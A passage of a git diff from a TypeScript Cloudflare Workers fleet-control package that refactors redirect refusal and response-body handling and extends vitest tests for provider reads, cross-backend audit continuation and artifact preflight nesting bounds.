this.#fetch = async (input, init) => { const response = await fetchFn(input, { ...init, redirect: 'manual' }); - if (isRedirectStatus(response.status)) { - const refusal = new CredentialedRedirectRefusedError( - 'Workers for Platforms maintenance request', - response.status, - ); - cancelBodyWithoutAwait(response.body, refusal); - throw refusal; - } + refuseRedirectStatus( + response, + 'Workers for Platforms maintenance request', + ); return response; }; this.#hostRoutingKvId = options.hostRoutingKvId; @@ -1924,6 +1919,10 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { signal: AbortSignal.timeout(this.#maintenanceRequestTimeoutMs), }, ); + // The health payload is the signed receipt header: neither exit below + // reads the maintenance response body, and the success path hands + // readMaintenanceHealth a fresh response built from the verified receipt. + cancelBodyWithoutAwait(response.body, UNREAD_MAINTENANCE_BODY); const receipt = response.headers.get(MAINTENANCE_RECEIPT_HEADER); const result = receipt ? await verifyMaintenanceReceipt({ @@ -2020,6 +2019,10 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { signal: AbortSignal.timeout(this.#maintenanceRequestTimeoutMs), }, ); + // The health payload is the signed receipt header: neither exit below + // reads the maintenance response body, and the success path hands + // readMaintenanceHealth a fresh response built from the verified receipt. + cancelBodyWithoutAwait(response.body, UNREAD_MAINTENANCE_BODY); const receipt = response.headers.get(MAINTENANCE_RECEIPT_HEADER); const result = receipt ? await verifyMaintenanceReceipt({ diff --git a/packages/fleet-control/src/workers/outbound.ts b/packages/fleet-control/src/workers/outbound.ts index 3ff8369d..35fd864e 100644 --- a/packages/fleet-control/src/workers/outbound.ts +++ b/packages/fleet-control/src/workers/outbound.ts @@ -13,6 +13,10 @@ import { } from '../deployment-context.js'; import { parseHostRoutingTarget } from '../host-routing.js'; +// The HTTP statuses that carry a `Location`: an egress proxy refuses a response +// carrying one rather than following it on the tenant's behalf. +const REDIRECT_STATUSES: readonly number[] = [301, 302, 303, 307, 308]; + export interface FleetOutboundEnv { readonly scriptName: string; readonly tenantTag: string; @@ -219,7 +223,7 @@ export default { }), ); const response = await fetch(request, { redirect: 'manual' }); - if ([301, 302, 303, 307, 308].includes(response.status)) { + if (REDIRECT_STATUSES.includes(response.status)) { console.warn( JSON.stringify({ type: 'fleet-egress-redirect-denied', @@ -269,7 +273,7 @@ export class StateEgress { const response = await fetch(stripStateEgressHeaders(request), { redirect: 'manual', }); - if ([301, 302, 303, 307, 308].includes(response.status)) { + if (REDIRECT_STATUSES.includes(response.status)) { return new Response('egress redirect denied', { status: 502 }); } return response; diff --git a/packages/fleet-control/test/backend-switch.test.ts b/packages/fleet-control/test/backend-switch.test.ts index 2c5764cf..81638a12 100644 --- a/packages/fleet-control/test/backend-switch.test.ts +++ b/packages/fleet-control/test/backend-switch.test.ts @@ -1884,6 +1884,16 @@ describe('backend switch state machine', () => { expect( completed.applicationR2Progress?.map((entry) => entry.subphase), ).toEqual(['deleted', 'deleted']); + // The terminal record carries those deletions at top level, the reading + // `provisionDeployment` admits a retired row against. + expect( + [...(store.record.applicationResources ?? [])] + .map(({ name, state }) => ({ name, state })) + .sort((left, right) => left.name.localeCompare(right.name)), + ).toEqual([ + { name: 'ARCHIVE', state: 'deleted' }, + { name: 'FILES', state: 'deleted' }, + ]); expect(backendSwitchIntentFromUnknown(structuredClone(completed))).toEqual( completed, ); diff --git a/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts b/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts index d422fc71..e35abb8c 100644 --- a/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts +++ b/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts @@ -1,5 +1,7 @@ // SPDX-License-Identifier: Apache-2.0 +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; import { APIConnectionTimeoutError } from 'cloudflare'; import { describe, expect, it, vi } from 'vitest'; import { CloudflareApiPlainWorkerBackend } from '../src/cloudflare-api-plain-worker-backend.js'; @@ -13,6 +15,7 @@ import type { ExternalMutationFence, PlainWorkerUploadIntent, } from '../src/types.js'; +import { WranglerPlainWorkerProvisioningApi } from '../src/wrangler-plain-worker-provisioning-api.js'; import { type CloudflareFixtureHandler, deferred, @@ -26,6 +29,7 @@ import { memoryStore, mutationFence, rejectedValue, + routeApi, } from './fixtures/plain-worker-port-probe.js'; import { providerWorld } from './fixtures/provider-world.js'; @@ -804,20 +808,14 @@ describe('CloudflareApiPlainWorkerProvisioningApi', () => { absent.api.deleteWorkerScript('absent', ownedFence()), ).resolves.toBe('absent'); - const forbidden = subject(async () => - Response.json({ success: false, errors: [] }, { status: 403 }), - ); - await expect( - forbidden.api.deleteWorkerScript('forbidden', ownedFence()), - ).rejects.toMatchObject({ status: 403 }); - - for (const status of [429, 500]) { + for (const status of [403, 429, 500]) { const refused = subject(async () => Response.json( { success: false, errors: [] }, - // The SDK's `shouldRetry` retries both of these, so each spends the - // client's whole retry budget; `retry-after-ms` holds every one of - // those retries to a millisecond of real-timer backoff. + // The SDK's `shouldRetry` retries 429 and 500, so each of those + // spends the client's whole retry budget; `retry-after-ms` holds + // every one of those retries to a millisecond of real-timer backoff. + // A 403 is not retried, so the header is unread on that pass. { status, headers: { 'retry-after-ms': '1' } }, ), ); @@ -972,3 +970,27 @@ describe('CloudflareApiPlainWorkerProvisioningApi', () => { }); }); }); + +describe('WranglerPlainWorkerProvisioningApi inventory shape', () => { + it('refuses a Wrangler inventory result that is not a list', async () => { + const api = new WranglerPlainWorkerProvisioningApi({ + runner: { + maxDurationMs: 5 * 60_000, + async run() { + return { + stdout: JSON.stringify({ success: true, result: 'not-a-list' }), + stderr: '', + }; + }, + }, + routeApi: routeApi(), + // `listDatabases` reads no file, so this path is never created. + exportDirectory: join(tmpdir(), 'wrangler-inventory-shape'), + exportStore: memoryStore(), + }); + + await expect(api.listDatabases()).rejects.toThrow( + 'Wrangler inventory result has an invalid list shape', + ); + }); +}); diff --git a/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts b/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts index 4938279c..83b6f3d3 100644 --- a/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts +++ b/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts @@ -43,7 +43,7 @@ import { providerWorld } from './fixtures/provider-world.js'; function apiFailure( status: number, message = 'provider failure', - headers?: Readonly>, + headers: Readonly> = {}, ): Response { return Response.json( { @@ -52,7 +52,7 @@ function apiFailure( messages: [], result: null, }, - { status, ...(headers === undefined ? {} : { headers }) }, + { status, headers }, ); } @@ -1203,45 +1203,66 @@ describe('CloudflareProvisioningClient plain-worker plane', () => { ).toBe('target'); }); + // The deployment and version reads, with what each does when the provider + // answers 404: `absence: 'undefined'` is a read the absence gate in + // `src/cloudflare-ordinary-worker-operations.ts` covers, `absence: 'throws'` + // one it does not. The three titles below read this set instead of restating + // it. + const DEPLOYMENT_VERSION_READS: readonly Readonly<{ + absence: 'undefined' | 'throws'; + read: ( + client: CloudflareProvisioningClient, + scriptName: string, + ) => Promise; + }>[] = [ + { + absence: 'undefined', + read: (client, scriptName) => + client.ordinaryWorkerDeploymentStatus(scriptName), + }, + { + absence: 'undefined', + read: (client, scriptName) => + client.listOrdinaryWorkerVersions(scriptName), + }, + { + absence: 'undefined', + read: (client, scriptName) => + client.findOrdinaryWorkerVersion(scriptName, 'v1'), + }, + { + absence: 'throws', + read: (client, scriptName) => + client.viewOrdinaryWorkerVersion(scriptName, 'v1'), + }, + ]; + it('returns undefined only for provider 404 deployment and version reads', async () => { const fixture = recordingFetch(() => apiFailure(404)); const client = plainClient({ fetch: fixture.fetch }); - await expect( - client.ordinaryWorkerDeploymentStatus('missing'), - ).resolves.toBeUndefined(); - await expect( - client.listOrdinaryWorkerVersions('missing'), - ).resolves.toBeUndefined(); - await expect( - client.findOrdinaryWorkerVersion('missing', 'v1'), - ).resolves.toBeUndefined(); - await expect( - client.viewOrdinaryWorkerVersion('missing', 'v1'), - ).rejects.toThrow(); + for (const { absence, read } of DEPLOYMENT_VERSION_READS) { + const outcome = expect(read(client, 'missing')); + if (absence === 'undefined') { + await outcome.resolves.toBeUndefined(); + } else { + await outcome.rejects.toThrow(); + } + } }); it.each([ 403, 429, 500, ])('propagates provider %s from every deployment and version read', async (status) => { - // The SDK's `shouldRetry` retries a 429, so this row spends the client's - // whole retry budget on each read; `retry-after-ms` holds every one of - // those retries to a millisecond of real-timer backoff. + // The SDK's `shouldRetry` retries 429 and 500, so those rows spend the + // client's whole retry budget on each read; `retry-after-ms` holds every + // one of those retries to a millisecond of real-timer backoff. A 403 is + // not retried, so the header is unread on that row. const fixture = recordingFetch(() => - apiFailure( - status, - 'provider failure', - status === 429 ? { 'retry-after-ms': '1' } : undefined, - ), + apiFailure(status, 'provider failure', { 'retry-after-ms': '1' }), ); const client = plainClient({ fetch: fixture.fetch }); - const operations = [ - () => client.ordinaryWorkerDeploymentStatus('plain'), - () => client.listOrdinaryWorkerVersions('plain'), - () => client.findOrdinaryWorkerVersion('plain', 'v1'), - () => client.viewOrdinaryWorkerVersion('plain', 'v1'), - ]; - for (const operation of operations) { - await expect(operation()).rejects.toMatchObject({ status }); + for (const { read } of DEPLOYMENT_VERSION_READS) { + await expect(read(client, 'plain')).rejects.toMatchObject({ status }); } }); @@ -1255,12 +1276,6 @@ describe('CloudflareProvisioningClient plain-worker plane', () => { Promise.reject(new Error('transport timed out')), ); const client = plainClient({ fetch: fixture.fetch }); - const operations = [ - () => client.ordinaryWorkerDeploymentStatus('plain'), - () => client.listOrdinaryWorkerVersions('plain'), - () => client.findOrdinaryWorkerVersion('plain', 'v1'), - () => client.viewOrdinaryWorkerVersion('plain', 'v1'), - ]; // The SDK's error classes never assign `name` (core/error.js:78-93), so a // raw rejection reports the base `Error` name and the subclass itself is // what identifies a timeout; `sanitizeProviderError` is what stamps the @@ -1269,9 +1284,9 @@ describe('CloudflareProvisioningClient plain-worker plane', () => { | Readonly<{ settled: 'resolved'; value: unknown }> | Readonly<{ settled: 'rejected'; timeout: boolean; message: unknown }>; const outcomes: ReadOutcome[] = []; - for (const operation of operations) { + for (const { read } of DEPLOYMENT_VERSION_READS) { outcomes.push( - await operation().then( + await read(client, 'plain').then( (value): ReadOutcome => ({ settled: 'resolved', value }), (error: unknown): ReadOutcome => ({ settled: 'rejected', @@ -1282,21 +1297,22 @@ describe('CloudflareProvisioningClient plain-worker plane', () => { ); } - expect(outcomes).toEqual( - operations.map(() => ({ - settled: 'rejected', - timeout: true, - message: 'Request timed out.', - })), - ); // A read that resolved to `undefined` would have classified the timeout as - // absence, which is the outcome this requirement forbids. + // absence, which is the outcome this requirement forbids. It stands before + // the aggregate below, which fails first on the same outcome. expect( outcomes.filter( (outcome) => outcome.settled === 'resolved' && outcome.value === undefined, ), ).toEqual([]); + expect(outcomes).toEqual( + DEPLOYMENT_VERSION_READS.map(() => ({ + settled: 'rejected', + timeout: true, + message: 'Request timed out.', + })), + ); }); it.each([ diff --git a/packages/fleet-control/test/cloudflare-control-plane.test.ts b/packages/fleet-control/test/cloudflare-control-plane.test.ts index 1d2560d1..6e26c238 100644 --- a/packages/fleet-control/test/cloudflare-control-plane.test.ts +++ b/packages/fleet-control/test/cloudflare-control-plane.test.ts @@ -773,7 +773,7 @@ describe('Cloudflare control-plane composition with real constructors and mocked const settlement = { settle: vi.fn(async () => {}) }; const controller = new AbortController(); const completions: unknown[] = []; - const migrationResult = { + const completionResult = { operationId: OPERATION_ID, itemCount: 1, completedItemCount: 1, @@ -830,9 +830,9 @@ describe('Cloudflare control-plane composition with real constructors and mocked expect(forwarded.clock?.()).toBe(300); expect(forwarded.routeAttestation).toBe(routeAttestation); expect(forwarded.signal).toBe(controller.signal); - await forwarded.onComplete?.(migrationResult); - expect(completions).toEqual([migrationResult]); - expect(completions[0]).toBe(migrationResult); + await forwarded.onComplete?.(completionResult); + expect(completions).toEqual([completionResult]); + expect(completions[0]).toBe(completionResult); expect(forwarded).not.toHaveProperty('finalizedStateProviderFor'); expect(forwarded).toMatchObject({ operationStore: required(constructed.operationStore.mock.calls[0])[0], @@ -846,8 +846,8 @@ describe('Cloudflare control-plane composition with real constructors and mocked throw new Error('mutated callback'); }); expect(forwarded.specFor(RECORD)).toBe(SPEC); - await forwarded.onComplete?.(migrationResult); - expect(completions).toEqual([migrationResult, migrationResult]); + await forwarded.onComplete?.(completionResult); + expect(completions).toEqual([completionResult, completionResult]); resolvedSpec = { ...SPEC, durableObjectBindings: [ diff --git a/packages/fleet-control/test/cross-backend-continuation.test.ts b/packages/fleet-control/test/cross-backend-continuation.test.ts index a5d80d7e..86851564 100644 --- a/packages/fleet-control/test/cross-backend-continuation.test.ts +++ b/packages/fleet-control/test/cross-backend-continuation.test.ts @@ -26,28 +26,24 @@ import { type FleetStateStore, type ProvisioningBackend, } from '../src/types.js'; +import { restProjection } from './fixtures/cloudflare-fetch-fixture.js'; import { - recordingFetch, - restProjection, -} from './fixtures/cloudflare-fetch-fixture.js'; -import { - FakeInventoryRunStore, FakeOperationStore, + RegisteredGenerationInventoryRunStore, uuidFor, } from './fixtures/fleet-operation-fakes.js'; import { assertHarnessFailuresConsumed, buildPlainWorkerSpec, captureFailure, + collectWorldInventory, directHarness, errorChain, - HarnessExportStore, HarnessFleetStore, ignoreFailure, initialSpec, migrationSpec, type PlainWorkerHarness, - plainOnlyClient, routeAttestation, sharedSecrets, wranglerHarness, @@ -84,6 +80,15 @@ function wrangler(world?: ProviderWorld): PlainWorkerHarness { return harness; } +/** + * The instant every leg of this file freezes on: `provisionWithStore` stamps + * each record here and the audit pins both of its clocks here. The provider + * world answers maintenance health with `lastSweepAt` and `lastPurgeAt` at + * this instant and `alarmAt` beyond it, which leaves every audited duty inside + * `AUDIT_STALE_AFTER_MS` and the maintenance re-arm branch untaken. + */ +const AUDIT_NOW_MS = 1_000; + function provision(harness: PlainWorkerHarness, spec: DeploymentSpec) { return provisionWithStore(harness, harness.store, spec); } @@ -99,7 +104,7 @@ function provisionWithStore( spec, secrets: sharedSecrets, initialExecutionFenceState: 'open', - clock: () => 1_000, + clock: () => AUDIT_NOW_MS, routeAttestation, }); } @@ -791,7 +796,7 @@ describe('ordinary Worker cross-backend continuation', () => { spec, }); expect(retired.record.phase).toBe('decommissioned'); - const mutationsAtTeardown = direct.world.mutationLog.length; + const requestsAtTeardown = direct.requests.length; const reprovisioned = await provision(direct, spec); @@ -800,11 +805,21 @@ describe('ordinary Worker cross-backend continuation', () => { expect(reprovisioned.record.scriptName).toBe(ready.record.scriptName); expect(reprovisioned.record.databaseName).toBe(ready.record.databaseName); expect(reprovisioned.record.routeHostname).toBe(ready.record.routeHostname); + // Observed at the dispatched request rather than at the world's mutation + // log: a SQL query or batch and a DELETE the world answers with 404 before + // it logs both carry their target in the URL or the body. expect( - direct.world.mutationLog - .slice(mutationsAtTeardown) - .filter((entry) => entry.includes(retired.record.databaseId)), + direct.requests + .slice(requestsAtTeardown) + .filter(({ url, body }) => + `${url} ${JSON.stringify(body) ?? ''}`.includes( + retired.record.databaseId, + ), + ), ).toEqual([]); + expect(direct.world.databases.map(({ databaseId }) => databaseId)).toEqual([ + reprovisioned.record.databaseId, + ]); }); it('retries every direct teardown state write from its retained predecessor', async () => { @@ -1110,16 +1125,11 @@ describe('ordinary Worker cross-backend continuation', () => { // one world. // --------------------------------------------------------------------------- -/** - * The audit's frozen instant. The provider world answers maintenance health - * with `alarmAt: 2_000`, `lastSweepAt: 1_000`, and `lastPurgeAt: 1_000`, and - * `provision` stamps every record at 1_000, so pinning both audit clocks here - * leaves every duty inside `AUDIT_STALE_AFTER_MS` and the maintenance re-arm - * branch untaken. - */ -const AUDIT_NOW_MS = 1_000; const AUDIT_STALE_AFTER_MS = 3_600_000; -const AUDIT_TENANT_TAGS = ['acme', 'beta'] as const; +// Three tenants: the Wrangler leg hands off after the first, leaving the +// direct leg two records to advance through, where an off-by-one in +// `recordOrdinal` resumption shows. +const AUDIT_TENANT_TAGS = ['acme', 'beta', 'ceres'] as const; /** * Every audited tenant keeps `buildPlainWorkerSpec`'s maintenance base URL, @@ -1138,12 +1148,12 @@ function auditSpec(tenantTag: string): DeploymentSpec { } /** - * Wraps one backend so every inspection and maintenance re-arm the audit - * reaches it through is recorded with its origin. An `inspect` that resolves - * appends a second entry naming its outcome, so a log that ends at the - * `inspect` entry is an inspection that threw. + * Installs origin-recording spies on `backend` itself and answers that same + * backend, so a caller still holding the argument holds the observed one. An + * `inspect` that resolves appends a second entry naming its outcome, so a log + * that ends at the `inspect` entry is an inspection that threw. */ -function observedAuditBackend( +function observeAuditBackendInPlace( origin: string, backend: ProvisioningBackend, log: string[], @@ -1181,12 +1191,13 @@ interface AuditFleet { readonly records: readonly FleetRecord[]; readonly inventory: FleetResourceInventory; readonly operationStore: FakeOperationStore; - readonly fleetStore: ContinuationFleetStore; readonly log: string[]; readonly wranglerBackend: ProvisioningBackend; readonly directBackend: ProvisioningBackend; readonly specFor: (record: FleetRecord) => DeploymentSpec; readonly maintenanceSecretFor: () => string; + /** Moves both clocks `options` pins, for a leg audited past its duties. */ + pinAuditClock(nowMs: number): void; options( action: FleetAuditAdvanceAction, backend: ProvisioningBackend, @@ -1202,27 +1213,30 @@ async function wranglerAuditFleet(): Promise { const world = providerWorld('uuid'); const specs = new Map(); const records: FleetRecord[] = []; - const sources: PlainWorkerHarness[] = []; + let wranglerOrigin: PlainWorkerHarness | undefined; for (const tenantTag of AUDIT_TENANT_TAGS) { const spec = auditSpec(tenantTag); specs.set(tenantTag, spec); const source = wrangler(world); - sources.push(source); + wranglerOrigin ??= source; records.push((await provision(source, spec)).record); } - const wranglerOrigin = sources[0]; if (!wranglerOrigin) throw new Error('audit fleet has no Wrangler origin'); - const inventory = await plainOnlyClient( - recordingFetch(restProjection(world)), - new HarnessExportStore(), - ).collectFleetInventory({ - databaseNamePrefix: 'fleet-', - scriptNamePrefix: 'fleet-', - includeDispatchNamespace: false, - }); + const inventory = await collectWorldInventory(world); + // `auditFleetDrift` returns early for a record with no inventory deployment, + // so a degenerate projection would leave the Proof A cases asserting an + // empty findings list against an audit that compared nothing. + for (const tenantTag of AUDIT_TENANT_TAGS) { + expect( + inventory.deployments.filter( + (deployment) => + deployment.scriptName === `fleet-${tenantTag}-production`, + ), + ).toHaveLength(1); + } const operationStore = new FakeOperationStore(); - const inventoryStore = new FakeInventoryRunStore(); + const inventoryStore = new RegisteredGenerationInventoryRunStore(); inventoryStore.registerFinalizedGeneration(1, inventory); const fleetStore = new ContinuationFleetStore(records); const log: string[] = []; @@ -1232,25 +1246,28 @@ async function wranglerAuditFleet(): Promise { return spec; }; const maintenanceSecretFor = () => sharedSecrets.maintenanceAdmin; + let auditNowMs = AUDIT_NOW_MS; return { world, records, inventory, operationStore, - fleetStore, log, - wranglerBackend: observedAuditBackend( + wranglerBackend: observeAuditBackendInPlace( 'wrangler', wranglerOrigin.backend, log, ), - directBackend: observedAuditBackend( + directBackend: observeAuditBackendInPlace( 'direct', directHarness(world).backend, log, ), specFor, maintenanceSecretFor, + pinAuditClock(nowMs) { + auditNowMs = nowMs; + }, options(action, backend) { return { operationStore, @@ -1260,8 +1277,8 @@ async function wranglerAuditFleet(): Promise { backendFor: () => backend, specFor, maintenanceSecretFor, - auditClock: () => AUDIT_NOW_MS, - authorityClock: () => AUDIT_NOW_MS, + auditClock: () => auditNowMs, + authorityClock: () => auditNowMs, }; }, }; @@ -1271,6 +1288,17 @@ function auditInspections(log: readonly string[]): readonly string[] { return log.filter((entry) => entry.includes(':inspect:')); } +/** + * The outcome entries `observeAuditBackendInPlace` appends once an `inspect` + * resolves. An inspection that threw leaves its `:inspect:` entry behind with + * no outcome, so a count of these is a count of inspections that returned. + */ +function auditInspectionOutcomes(log: readonly string[]): readonly string[] { + return log.filter( + (entry) => entry.includes(':live:') || entry.includes(':absent:'), + ); +} + function auditMaintenanceCalls(log: readonly string[]): readonly string[] { return log.filter((entry) => entry.includes(':ensureMaintenance:')); } @@ -1308,6 +1336,33 @@ async function advanceAuditUntil( throw new Error(`advanceAuditUntil exceeded its ${cap}-call cap`); } +/** + * Starts the audit on the Wrangler backend and answers the token to resume + * from once exactly one Wrangler-origin inspection has returned. + */ +async function auditHandoffAfterFirstInspection( + fleet: AuditFleet, + operationId: string, +): Promise { + const started = await advanceFleetAudit( + fleet.options( + { + kind: 'start', + operationId, + records: fleet.records, + staleAfterMs: AUDIT_STALE_AFTER_MS, + }, + fleet.wranglerBackend, + ), + ); + return advanceAuditUntil( + fleet, + fleet.wranglerBackend, + pendingAuditToken(started), + () => auditInspectionOutcomes(fleet.log).length === 1, + ); +} + /** Advances the operation through `backend` to a terminal result. */ async function advanceAuditToTerminal( fleet: AuditFleet, @@ -1333,24 +1388,8 @@ describe('ordinary Worker cross-backend audit continuation', () => { const fleet = await wranglerAuditFleet(); const operationId = uuidFor(701); - const started = await advanceFleetAudit( - fleet.options( - { - kind: 'start', - operationId, - records: fleet.records, - staleAfterMs: AUDIT_STALE_AFTER_MS, - }, - fleet.wranglerBackend, - ), - ); - const handoff = await advanceAuditUntil( - fleet, - fleet.wranglerBackend, - pendingAuditToken(started), - () => auditInspections(fleet.log).length === 1, - ); - expect(auditInspections(fleet.log)).toEqual(['wrangler:inspect:acme']); + const handoff = await auditHandoffAfterFirstInspection(fleet, operationId); + expect(auditInspectionOutcomes(fleet.log)).toEqual(['wrangler:live:acme']); // The switch is a `backendFor` switch over the same operation store, the // same inventory store, and the same world: the token carries only @@ -1383,6 +1422,7 @@ describe('ordinary Worker cross-backend audit continuation', () => { expect(auditInspections(fleet.log)).toEqual([ 'wrangler:inspect:acme', 'direct:inspect:beta', + 'direct:inspect:ceres', ]); }); @@ -1390,23 +1430,7 @@ describe('ordinary Worker cross-backend audit continuation', () => { const fleet = await wranglerAuditFleet(); const operationId = uuidFor(702); - const started = await advanceFleetAudit( - fleet.options( - { - kind: 'start', - operationId, - records: fleet.records, - staleAfterMs: AUDIT_STALE_AFTER_MS, - }, - fleet.wranglerBackend, - ), - ); - const handoff = await advanceAuditUntil( - fleet, - fleet.wranglerBackend, - pendingAuditToken(started), - () => auditInspections(fleet.log).length === 1, - ); + const handoff = await auditHandoffAfterFirstInspection(fleet, operationId); const before = worldFacts(fleet.world); const terminal = await advanceAuditToTerminal( @@ -1423,27 +1447,35 @@ describe('ordinary Worker cross-backend audit continuation', () => { expect(auditMaintenanceCalls(fleet.log)).toEqual([]); }); - it('reads the same successful findings after the switch as a single-backend audit', async () => { + it('re-arms maintenance across the switch once the audited duties are stale', async () => { const fleet = await wranglerAuditFleet(); - const operationId = uuidFor(703); + const operationId = uuidFor(704); + // Past the freshness reference of every duty the world reports, so the + // re-arm branch the case above asserts is untaken is taken here: the + // `ensureMaintenance` spy that case rests on is shown to fire. + fleet.pinAuditClock(AUDIT_NOW_MS + AUDIT_STALE_AFTER_MS + 1); - const started = await advanceFleetAudit( - fleet.options( - { - kind: 'start', - operationId, - records: fleet.records, - staleAfterMs: AUDIT_STALE_AFTER_MS, - }, - fleet.wranglerBackend, - ), - ); - const handoff = await advanceAuditUntil( + const handoff = await auditHandoffAfterFirstInspection(fleet, operationId); + const terminal = await advanceAuditToTerminal( fleet, - fleet.wranglerBackend, - pendingAuditToken(started), - () => auditInspections(fleet.log).length === 1, + fleet.directBackend, + handoff, ); + + expect(terminal.status).toBe('complete'); + expect(auditMaintenanceCalls(fleet.log)).not.toEqual([]); + expect( + auditMaintenanceCalls(fleet.log).filter((entry) => + entry.startsWith('direct:'), + ), + ).not.toEqual([]); + }); + + it('reads the same successful findings after the switch as a single-backend audit', async () => { + const fleet = await wranglerAuditFleet(); + const operationId = uuidFor(703); + + const handoff = await auditHandoffAfterFirstInspection(fleet, operationId); const terminal = await advanceAuditToTerminal( fleet, fleet.directBackend, @@ -1476,6 +1508,8 @@ describe('ordinary Worker cross-backend audit continuation', () => { 'wrangler:live:acme', 'direct:inspect:beta', 'direct:live:beta', + 'direct:inspect:ceres', + 'direct:live:ceres', ]); }); }); diff --git a/packages/fleet-control/test/direct-credentialed-bootstrap.test.ts b/packages/fleet-control/test/direct-credentialed-bootstrap.test.ts index cb032540..00108357 100644 --- a/packages/fleet-control/test/direct-credentialed-bootstrap.test.ts +++ b/packages/fleet-control/test/direct-credentialed-bootstrap.test.ts @@ -13,6 +13,7 @@ import { openDirectRunState, } from '../scripts/direct-credentialed-run-state.mjs'; import { DIRECT_REFERENCE_PATH } from '../scripts/direct-reference-contract.mjs'; +import { providerJson as json } from './fixtures/direct-observations.js'; const awaitReferenceIngress = invocation.awaitReferenceIngress; @@ -58,13 +59,6 @@ const journals = new Set(); const unexpectedRequests: string[] = []; const hash = (value: string | Uint8Array) => createHash('sha256').update(value).digest('hex'); -const json = (result: unknown, result_info?: unknown) => - Response.json({ - success: true, - errors: [], - result, - ...(result_info === undefined ? {} : { result_info }), - }); const absent = () => Response.json( { success: false, errors: [{ code: 10000, message: 'synthetic absence' }] }, diff --git a/packages/fleet-control/test/direct-credentialed-conformance-preflight.test.ts b/packages/fleet-control/test/direct-credentialed-conformance-preflight.test.ts index 671d2834..c4be6530 100644 --- a/packages/fleet-control/test/direct-credentialed-conformance-preflight.test.ts +++ b/packages/fleet-control/test/direct-credentialed-conformance-preflight.test.ts @@ -22,8 +22,15 @@ import { } from '../scripts/direct-credentialed-conformance-preflight.mjs'; // TypeScript's CommonJS namespace exposes createSourceFile as a non-configurable -// getter, so the compiler seam is reachable only by mocking the module. -const compiler = vi.hoisted(() => ({ failOnCall: 0 })); +// getter: `vi.spyOn(ts, 'createSourceFile')` throws, so this seam mocks the +// module. The source text identifies which artifact is being inspected; the +// file name the script passes is a constant and cannot. +const compiler = vi.hoisted(() => ({ + failOnSource: null as string | null, + // The message the seam raises, distinctive enough for a test to assert that + // the compiler's own words never reach the caller. + sentinel: 'secret-sentinel Maximum call stack size exceeded', +})); vi.mock('typescript', async (importOriginal) => { const actual = await importOriginal<{ @@ -32,17 +39,24 @@ vi.mock('typescript', async (importOriginal) => { const createSourceFile = ( ...args: Parameters ) => { - if (compiler.failOnCall > 0) { - compiler.failOnCall -= 1; - if (compiler.failOnCall === 0) - throw new RangeError('Maximum call stack size exceeded'); - } + if ( + compiler.failOnSource !== null && + args[1].includes(compiler.failOnSource) + ) + throw new RangeError(compiler.sentinel); return actual.default.createSourceFile(...args); }; return { ...actual, createSourceFile, - default: { ...actual.default, createSourceFile }, + // Delegated rather than copied, so a namespace member the script starts + // using resolves against the live module instead of a snapshot of it. + default: new Proxy(actual.default, { + get: (target, key, receiver) => + key === 'createSourceFile' + ? createSourceFile + : Reflect.get(target, key, receiver), + }), }; }); @@ -89,6 +103,7 @@ function prepare(configPath: string) { } afterEach(async () => { + compiler.failOnSource = null; vi.restoreAllMocks(); vi.unstubAllEnvs(); await Promise.all( @@ -169,11 +184,55 @@ describe('direct artifact preflight', () => { 'reference', 'tenant', ] as const)('contains compiler failures for the %s role', async (role) => { - compiler.failOnCall = role === 'reference' ? 1 : 2; - const f = await fixture(); + const marker = `// overflow-${role}`; + compiler.failOnSource = marker; + const f = await fixture( + REFERENCE + (role === 'reference' ? `\n${marker}` : ''), + TENANT + (role === 'tenant' ? `\n${marker}` : ''), + ); await expect(prepare(f.configPath)).rejects.toThrow( `direct conformance preflight has invalid ${role} artifact module inspection`, ); + // `toThrow(string)` is a substring match, so the replacement message alone + // would also pass for a message that carried the compiler's words too. + await expect(prepare(f.configPath)).rejects.not.toThrow(/secret-sentinel/u); + }); + + it.each([ + 'reference', + 'tenant', + ] as const)('refuses nesting past the bound for the %s role before the compiler runs', async (role) => { + const suffix = (depth: number) => + `\nconst deep = ${'('.repeat(depth)}1${')'.repeat(depth)};`; + compiler.failOnSource = 'const deep ='; + const admitted = await fixture( + REFERENCE + (role === 'reference' ? suffix(100) : ''), + TENANT + (role === 'tenant' ? suffix(100) : ''), + ); + await expect(prepare(admitted.configPath)).rejects.toThrow( + `direct conformance preflight has invalid ${role} artifact module inspection`, + ); + const refused = await fixture( + REFERENCE + (role === 'reference' ? suffix(600) : ''), + TENANT + (role === 'tenant' ? suffix(600) : ''), + ); + await expect(prepare(refused.configPath)).rejects.toThrow( + `direct conformance preflight has invalid ${role} artifact nesting`, + ); + }); + + it.each([ + 'reference', + 'tenant', + ] as const)('admits nesting under the bound for the %s role', async (role) => { + const suffix = `\nconst deep = ${'('.repeat(100)}1${')'.repeat(100)};`; + const f = await fixture( + REFERENCE + (role === 'reference' ? suffix : ''), + TENANT + (role === 'tenant' ? suffix : ''), + ); + await expect(prepare(f.configPath)).resolves.toMatchObject({ + manifest: { fixtureVersion: 1 }, + }); }); it('rejects a JSON import attribute for the generated JavaScript manifest', async () => { @@ -404,6 +463,12 @@ describe('direct artifact preflight', () => { await f.save(); } await expect(prepare(f.configPath)).rejects.toThrow(/tenant artifact/); + if (kind === 'invalid-utf8') + // The decoder's own wording is replaced, not appended: a `toThrow` + // substring match on the relabel would pass either way. + await expect(prepare(f.configPath)).rejects.not.toThrow( + /encoding|encoded data|TextDecoder/iu, + ); }); it('rejects a FIFO without waiting for a writer', async () => { diff --git a/packages/fleet-control/test/direct-credentialed-conformance-runtime.test.ts b/packages/fleet-control/test/direct-credentialed-conformance-runtime.test.ts index 1fa4519b..a0585ea5 100644 --- a/packages/fleet-control/test/direct-credentialed-conformance-runtime.test.ts +++ b/packages/fleet-control/test/direct-credentialed-conformance-runtime.test.ts @@ -8,19 +8,28 @@ import { fileURLToPath } from 'node:url'; import { runInNewContext } from 'node:vm'; import { afterEach, describe, expect, it, vi } from 'vitest'; import { DirectBootstrapError } from '../scripts/direct-credentialed-bootstrap.mjs'; +import * as directRuntime from 